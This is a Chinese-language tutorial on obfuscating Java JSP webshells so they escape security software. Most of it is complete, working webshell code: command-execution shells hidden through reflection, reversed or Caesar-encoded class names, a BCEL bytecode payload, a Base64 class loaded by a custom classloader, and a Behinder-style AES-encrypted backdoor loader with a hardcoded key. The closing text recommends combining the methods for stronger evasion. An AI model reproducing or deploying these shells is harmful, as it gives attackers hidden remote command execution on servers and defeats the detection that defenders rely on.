Java安全-WebShell免杀的多种方式
字数 970 2025-08-22 12:22:54

Java WebShell免杀技术详解

1. 基础WebShell实现

1.1 基本JSP WebShell

<%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.io.*"%>
<%
out.print(System.getProperty("os.name").toLowerCase());
String cmd = request.getParameter("cmd");
if(cmd != null){
    Process p = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",cmd});
    InputStream input = p.getInputStream();
    InputStreamReader ins = new InputStreamReader(input, "GBK");
    BufferedReader br = new BufferedReader(ins);
    out.print("<pre>");
    String line;
    while((line = br.readLine()) != null) {
        out.println(line);
    }
    out.print("</pre>");
    br.close();
    ins.close();
    input.close();
}
%>

特点分析

  • 直接使用Runtime.getRuntime().exec()执行命令
  • 容易被安全软件检测
  • 包含基本的命令执行和输出显示功能

2. 反射技术绕过

2.1 反射调用Runtime

<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.IOException" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<% 
String cmd = request.getParameter("cmd");
if(cmd !=null){
    try {
        Class c= Class.forName("java.lang.Runtime");
        Method getRuntime = c.getDeclaredMethod("getRuntime");
        Method Methodexec = c.getDeclaredMethod("exec", String.class);
        Runtime r = (Runtime) getRuntime.invoke(null, null);
        Process process = (Process)Methodexec.invoke(r, cmd);
        InputStream inputStream = process.getInputStream();
        InputStreamReader inputStreamReader = new InputStreamReader(inputStream,"GBK");
        BufferedReader reader = new BufferedReader(inputStreamReader);
        String line;
        out.println("<pre>");
        while ((line=reader.readLine())!=null){
            out.println(line);
        }
        out.println("</pre>");
        reader.close();
        inputStreamReader.close();
        inputStream.close();
    }catch (IOException e){
        e.printStackTrace();
    }
}
%>

技术要点

  • 使用反射获取Runtime类和方法
  • 通过getDeclaredMethod获取getRuntimeexec方法
  • 使用invoke调用方法执行命令
  • 比直接调用Runtime更隐蔽

3. 字符串反转技术

3.1 反转关键字符串

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Method"%>
<%!
public static String reverseStr(String str){
    String reverse = "";
    int length = str.length();
    for (int i = 0; i < length; i++){
        reverse = str.charAt(i) + reverse;
    }
    return reverse;
}
%>
<%
String x = request.getParameter("x");
if(x!=null){
    Class rt = Class.forName(reverseStr("emitnuR.gnal.avaj"));
    Method gr = rt.getMethod(reverseStr("emitnuRteg"));
    Method ex = rt.getMethod(reverseStr("cexe"), String.class);
    Process e = (Process) ex.invoke(gr.invoke(null), x);
    java.io.InputStream in = e.getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
        out.println(new String(b));
    }
    out.print("</pre>");
}
%>

技术要点

  • 定义字符串反转函数
  • 将关键类名和方法名反转存储
  • 运行时动态反转回正常字符串
  • 增加静态分析的难度

4. 凯撒加密技术

4.1 凯撒加密实现

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Method"%>
<%@ page import="java.io.InputStream" %>
<%!
public static String estr(String str) {
    String line="";
    for(int i=0;i<str.length();i++){
        char j = str.charAt(i);
        j=(char)(j - 2); // 凯撒偏移量为2
        line=line+j;
    }
    return line;
}
%>
<%
if (request.getParameter("cmd")!=null){
    String cmd=request.getParameter("cmd");
    Class c=Class.forName(estr("lcxc0ncpi0Twpvkog"));
    Method r = c.getMethod(estr("igvTwpvkog"), null);
    Method e = c.getMethod(estr("gzge"), String.class);
    Process process=(Process) e.invoke( r.invoke(null,null),cmd);
    InputStream inputStream = process.getInputStream();
    int a=-1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while((a=inputStream.read(b))!=-1){
        out.print(new String(b));
    }
    out.print("</pre>");
    inputStream.close();
}
%>

技术要点

  • 实现凯撒加密函数(ASCII码偏移)
  • 加密关键类名和方法名
  • 运行时动态解密
  • 增加静态分析的难度

5. BCEL字节码技术

5.1 BCEL字节码实现

<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd = request.getParameter("cmd");
String bcelCode = "
$$
BCEL
$$
$l$8b$I$A$A$A$A$A$A$A$85T$5bS$d3$40$U$fe$b6$NM$88$e1$d2P
$$
$V$ef$X$u$a5P$VD$FD$z$UD$caE$8a8$7dL$d3$F$83m$daIS$G$7f$91$af$3a$a3$ad$p3$3e$fa$e0$_q$fc$N$8ex6$z$97$8eU$lrv$f7$dc$bes$be$3d$9bo$bf$3e$7f$B0$89$z$V$n$c4e$dcR$e1C$5c$c1m$b1$de$911$ncR$c5$5dL$JqO$c5$7d$3cP0$adB$c6$8c$8a$Af$85x$a8$60N$c1$p$R$f1$b8$j$3dx$o$p$nc$9e$c1$ef$f02$83$9e$da3$f6$8dx$de$b0w$e3i$d7$b1$ec$dd$Z$86$c0$ace$5b$ee$iCo$e4O$f3$c86$834_$ccq$86$ae$94e$f3$b5J$n$cb$9d$z$p$9b$e7$o$5d$d14$f2$db$86c$89sC$v$b9$af$y$82$eaL$r$de$b8$5cD$s$f7$ad$3c$c1$f8$cdB$8e$a1$a3$ec$e5MT$ac$7c$8e$3b$M$e1$3f$m$h$s$8a$e8$ccVvv$b8$c3s$9b$dc$f0$9c$H$ea$ceV1$9eh$b2$90$af$94$a7$e2$u$7d$da5$cc$d7$abF$c9$x$c6k$7e$81$98$q$f2$Y$d4$e4$81$c9K$aeU$b4$cb2$92$M$8a$5b$ac$p2$84$o$p$ad$98Q$d3$c5$8ac$f2EK$f4$V$3c$db$cf$b8$f0$d6$d0$8fE$86$fe$bft$c0$d06$5br$f8$9c$86$r$3ce$e8k$5d$3bQplX$b6K$V$97Rp$a3P$b7$c9X$d6$f0$M$x$gRX$95$b1$a6a$j$h$c4$e4RbE$60$3f$XbSC$g1$G$a6$K$bc8$Bj$YELC$_$fa$Y$b4$b3E3t$9f$96$ba$9e$dd$e3$a6$db$a4$3af$a3$e7$a4$a0$f5$T$ca$I5$of$n$60$94J$dc$a6$8b$ik5$y$ff$b8$cc$e0$a9i$b3b$bbV$81$uUw$b9$7br$e8m$ba$83$86Z$dc$y$3f$e0$s$c3$f0$7f$f06$9c$a2$c9$cb$e5f$a4$86$92F$89$90$ce$d0K$97v$8c$d6$cc$3b$85G$p$z$N$ad$9fF$cf$a9sc$U$85V$a1$88$9cx$z$b8Jo0D$af$9a$d1G$XB$d2G$fb$7e$M$d0$g$a6$d3wz$b3m$b4$be$88$d6$c0$O$e1$cb$d4$e0$d7$a5$w$daV$P$R$c8$iB$ce$7c$822ZE$7b$V$aa$7e$ae$G$ad$86$8e$b5$b1$w$3a3$d3$d2W$e8$b1$b0$f0$d5$bbH$bc$7c$7b$f4$p$a6w$8b$5d4VE$f0$p$f4$f7$94$d8$8f$f3$q$87$d0NR$86$E$FA$da$87$a1$o$G$NS$e8$40$S$5d4$5eAlA$c7$a0$f7$D$f2$K$c2$F$5c$E$bc$dd$r$w$9ch$c5$C
$$
$e3$K$V$k$c3$I5v$8drO$90$bcNV$J7$c8s$Q$be$p2J2n$ca$Y$921$y$p$C$fc$c4$A$9d$u$E$e4F$f4$d2G$f3IR$f4$l$a7Up$d3$W$fd$A$fd$9dG$8f$a87$e0$vC$5e$3dZ$dd$a1Q$P$N$9e$e75$fe$hb$f7$E$85$_$F$A$A";
Class<?> c = Class.forName("com.sun.org.apache.bcel.internal.util.ClassLoader");
ClassLoader loader = (ClassLoader) c.newInstance();
Class<?> clazz = loader.loadClass(bcelCode);
java.lang.reflect.Constructor<?> constructor = clazz.getConstructor(String.class);
Object obj = constructor.newInstance(cmd);
response.getWriter().print(obj.toString());
%>

技术要点

  • 使用BCEL(Byte Code Engineering Library)加载字节码
  • 将恶意类编译后转换为BCEL格式字符串
  • 运行时动态加载执行
  • 绕过基于源代码和简单反射的检测

6. 自定义类加载器

6.1 自定义类加载器实现

// Test.java
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Test {
    public String Demo1() {
        return "hello moonsec";
    }
    
    public String Eval(String cmd) throws IOException {
        StringBuilder var_str = new StringBuilder();
        Process p = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",cmd});
        InputStream input = p.getInputStream();
        InputStreamReader ins = new InputStreamReader(input, "GBK");
        BufferedReader br = new BufferedReader(ins);
        String line;
        var_str.append("<pre>");
        while ((line = br.readLine()) != null) {
            var_str.append(line).append("\n");
        }
        var_str.append("</pre>");
        String vars = var_str.toString();
        br.close();
        ins.close();
        input.close();
        p.getOutputStream().close();
        return vars;
    }
}
<%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Base64" %>
<% 
try {
    out.println(System.getProperty("os.name").toLowerCase());
    String cmd = request.getParameter("cmd");
    if (cmd != null) {
        class DemoClassload extends ClassLoader {
            protected Class<?> findClass(String name) {
                String classStr = "yv66vgAAADQAcgoAHABCCABDBwBECgADAEIKAEUARgcARwgASAgASQoARQBKCgBLAEwHAE0IAE4KAAsATwcAUAoADgBRCABSCgADAFMKAA4AVAgAVQgAVgoAAwBXCgAOAFgKAAsAWAoAWQBYCgBLAFoKAFsAWAcAXAcAXQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTFRlc3Q7AQAFRGVtbzEBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABEV2YWwBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAA2NtZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAB3Zhcl9zdHIBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQABcAEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAVpbnB1dAEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAA2lucwEAG0xqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyOwEAAmJyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQAEbGluZQEABHZhcnMBAA1TdGFja01hcFRhYmxlBwBcBwBHBwBEBwBeBwBfBwBNBwBQAQAKRXhjZXB0aW9ucwcAYAEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAB0AHgEADWhlbGxvIG1vb25zZWMBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgcAYQwAYgBjAQAQamF2YS9sYW5nL1N0cmluZwEAB2NtZC5leGUBAAIvYwwAZABlBwBeDABmAGcBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyAQADR0JLDAAdAGgBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyDAAdAGkBAAU8cHJlPgwAagBrDABsACUBAAEKAQAGPC9wcmU+DABtACUMAG4AHgcAXwwAbwBwBwBxAQAEVGVzdAEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAqKExqYXZhL2lvL0lucHV0U3RyZWFtO0xqYXZhL2xhbmcvU3RyaW5nOylWAQATKExqYXZhL2lvL1JlYWRlcjspVgEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHJlYWRMaW5lAQAIdG9TdHJpbmcBAAVjbG9zZQEAD2dldE91dHB1dFN0cmVhbQEAGCgpTGphdmEvaW8vT3V0cHV0U3RyZWFtOwEAFGphdmEvaW8vT3V0cHV0U3RyZWFtOwEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgAhABsAHAAAAAAABQABAB0AHgABAB8AAAAvAAEAAQAAAAUqtwABsQAAAAIAIAAAAAYAAQAAAAkAIQAAAAwAAQAAAAUAIgAjAAAAAQAEACQAAQAfAAAALQABAAEAAAADEgKwAAAAAgAgAAAABgABAAAADAABAAAADQAiACMAAAABAAQAJQABAB8AAAFiAAUACQAAAIa7AANZtwAETbkABQa9AAZZAxIHU1kEEghTWQUrU7YACU4ttgAKOgS7AAtZGQQSDLcADToFuwAOWRkFtwAPOgYsEhC2ABFXGQa2ABJZOgfGABIsGQe2ABESE7YAEVen/+ksEhS2ABFXLLYAFToIGQa2ABYZBbYAFxkEtgAYLLYAGbYAGhkIsAAAAAMAIAAAAD4ADwAAAA0ACAANACEAEAAnABEANAAQAD8AEgBGABMAUQAUAGAAFwBnABgAbQAZAHIAGgB3ABsAfAAcAIMAHQAhAAAAXAAJAAAAhgAiACMAAAAAAIYAKAApAAEACAB+ACoAKwACACEAZQAsAC0AAwAnAF8ALgAvAAQANABSADAAMQAFAD8ARwAyADMABgBOADgANAApAAcAbQAZADUAKQAIADYAAAAkAAL/AEYABwcANwcAOAcAOQcAOgcAOwcAPAcAPQAA/AAZBwA4AD4AAAAEAAEAPwABAEAAAAACAEI=";
                byte[] bytes = Base64.getDecoder().decode(classStr);
                return super.defineClass(bytes, 0, bytes.length);
            }
        }
        DemoClassload demoClassload = new DemoClassload();
        Class<?> aClass = demoClassload.loadClass("Test");
        Object o = aClass.newInstance();
        Method demo1 = aClass.getMethod("Eval",String.class);
        Object invoke = demo1.invoke(o,cmd);
        String s = invoke.toString();
        out.println(s);
    }
} catch (Exception e) {
    out.println(e);
}
%>

技术要点

  • 自定义类加载器继承ClassLoader
  • 重写findClass方法加载恶意类
  • 将恶意类编译后转换为Base64字符串
  • 运行时动态加载执行
  • 绕过基于类名和方法名的检测

7. Behinder后门免杀

7.1 Behinder后门实现

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{
    U(ClassLoader c){
        super(c);
    }
    public Class g(byte []b){
        return super.defineClass(b,0,b.length);
    }
}%>
<%
if (request.getMethod().equals("POST")){
    String k="e45e329feb5d925b";
    session.putValue("u",k);
    Cipher c=Cipher.getInstance("AES");
    c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
    new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}
%>

7.2 反射改进版

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*,sun.misc.BASE64Decoder"%>
<%@ page import="java.lang.reflect.Constructor" %>
<%!class U extends ClassLoader{
    U(ClassLoader c){super(c);}
    public Class g(byte []b) {
        return super.defineClass(b,0,b.length);
    }
}%>
<%
if (request.getMethod().equals("POST")){
    String k="e45e329feb5d925b";
    session.putValue("u",k);
    Cipher c=Cipher.getInstance("AES");
    Class c2 = Class.forName("javax.crypto.spec.SecretKeySpec");
    Constructor Constructor=c2.getConstructor(byte[].class,String.class);
    SecretKeySpec aes =(SecretKeySpec)Constructor.newInstance(k.getBytes(),"AES");
    c.init(2,aes);
    ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
    String input= request.getReader().readLine();
    byte[] bytes=(byte[]) Base64.getDecoder().decode(input);
    Class clazz2=Class.forName("javax.crypto.Cipher");
    byte[] clazzBytes=(byte[]) clazz2.getMethod("doFinal",byte[].class).invoke(c,bytes);
    Class clazz=new U(contextClassLoader).g(clazzBytes);
    clazz.newInstance().equals(pageContext);
}
%>

技术要点

  • 使用AES加密通信
  • 自定义类加载器加载加密的恶意类
  • 反射方式调用关键方法
  • 通过session存储密钥
  • 只响应POST请求
  • 高度混淆和加密,难以静态分析

总结

WebShell免杀技术主要从以下几个方面入手:

  1. 方法调用方式:从直接调用到反射调用
  2. 字符串处理:反转、加密、编码等混淆技术
  3. 类加载机制:自定义类加载器、BCEL字节码等
  4. 加密通信:AES等加密算法保护通信内容
  5. 动态特性:运行时动态解析和执行

这些技术可以单独使用,也可以组合使用以达到更好的免杀效果。随着安全检测技术的进步,免杀技术也在不断演进,需要持续研究和更新。

Java WebShell免杀技术详解 1. 基础WebShell实现 1.1 基本JSP WebShell 特点分析 : 直接使用 Runtime.getRuntime().exec() 执行命令 容易被安全软件检测 包含基本的命令执行和输出显示功能 2. 反射技术绕过 2.1 反射调用Runtime 技术要点 : 使用反射获取Runtime类和方法 通过 getDeclaredMethod 获取 getRuntime 和 exec 方法 使用 invoke 调用方法执行命令 比直接调用Runtime更隐蔽 3. 字符串反转技术 3.1 反转关键字符串 技术要点 : 定义字符串反转函数 将关键类名和方法名反转存储 运行时动态反转回正常字符串 增加静态分析的难度 4. 凯撒加密技术 4.1 凯撒加密实现 技术要点 : 实现凯撒加密函数(ASCII码偏移) 加密关键类名和方法名 运行时动态解密 增加静态分析的难度 5. BCEL字节码技术 5.1 BCEL字节码实现 技术要点 : 使用BCEL(Byte Code Engineering Library)加载字节码 将恶意类编译后转换为BCEL格式字符串 运行时动态加载执行 绕过基于源代码和简单反射的检测 6. 自定义类加载器 6.1 自定义类加载器实现 技术要点 : 自定义类加载器继承ClassLoader 重写findClass方法加载恶意类 将恶意类编译后转换为Base64字符串 运行时动态加载执行 绕过基于类名和方法名的检测 7. Behinder后门免杀 7.1 Behinder后门实现 7.2 反射改进版 技术要点 : 使用AES加密通信 自定义类加载器加载加密的恶意类 反射方式调用关键方法 通过session存储密钥 只响应POST请求 高度混淆和加密,难以静态分析 总结 WebShell免杀技术主要从以下几个方面入手: 方法调用方式 :从直接调用到反射调用 字符串处理 :反转、加密、编码等混淆技术 类加载机制 :自定义类加载器、BCEL字节码等 加密通信 :AES等加密算法保护通信内容 动态特性 :运行时动态解析和执行 这些技术可以单独使用,也可以组合使用以达到更好的免杀效果。随着安全检测技术的进步,免杀技术也在不断演进,需要持续研究和更新。